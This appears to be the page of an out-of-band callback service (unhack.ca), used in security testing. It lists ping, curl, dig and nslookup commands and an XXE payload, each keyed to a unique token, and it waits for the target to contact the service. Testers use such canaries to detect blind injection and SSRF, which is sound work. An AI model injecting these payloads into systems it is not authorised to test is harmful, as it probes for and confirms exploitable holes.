$ ping -c1 -p 001e6a9ac7a0677fa2d2bf6b09b08900 unhack.ca
 
$ curl http://unhack.ca/p/1e6a9ac7a0677fa2d2bf6b09b089
 
$ dig 1e6a9ac7a0677fa2d2bf6b09b089 @unhack.ca
 
$ dig 1e6a9ac7a0677fa2d2bf6b09b089.ns.unhack.ca
 
C:\> nslookup 1e6a9ac7a0677fa2d2bf6b09b089 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1e6a9ac7a0677fa2d2bf6b09b089">]>
    <foo>&xxe;</foo>
 
Waiting for ping...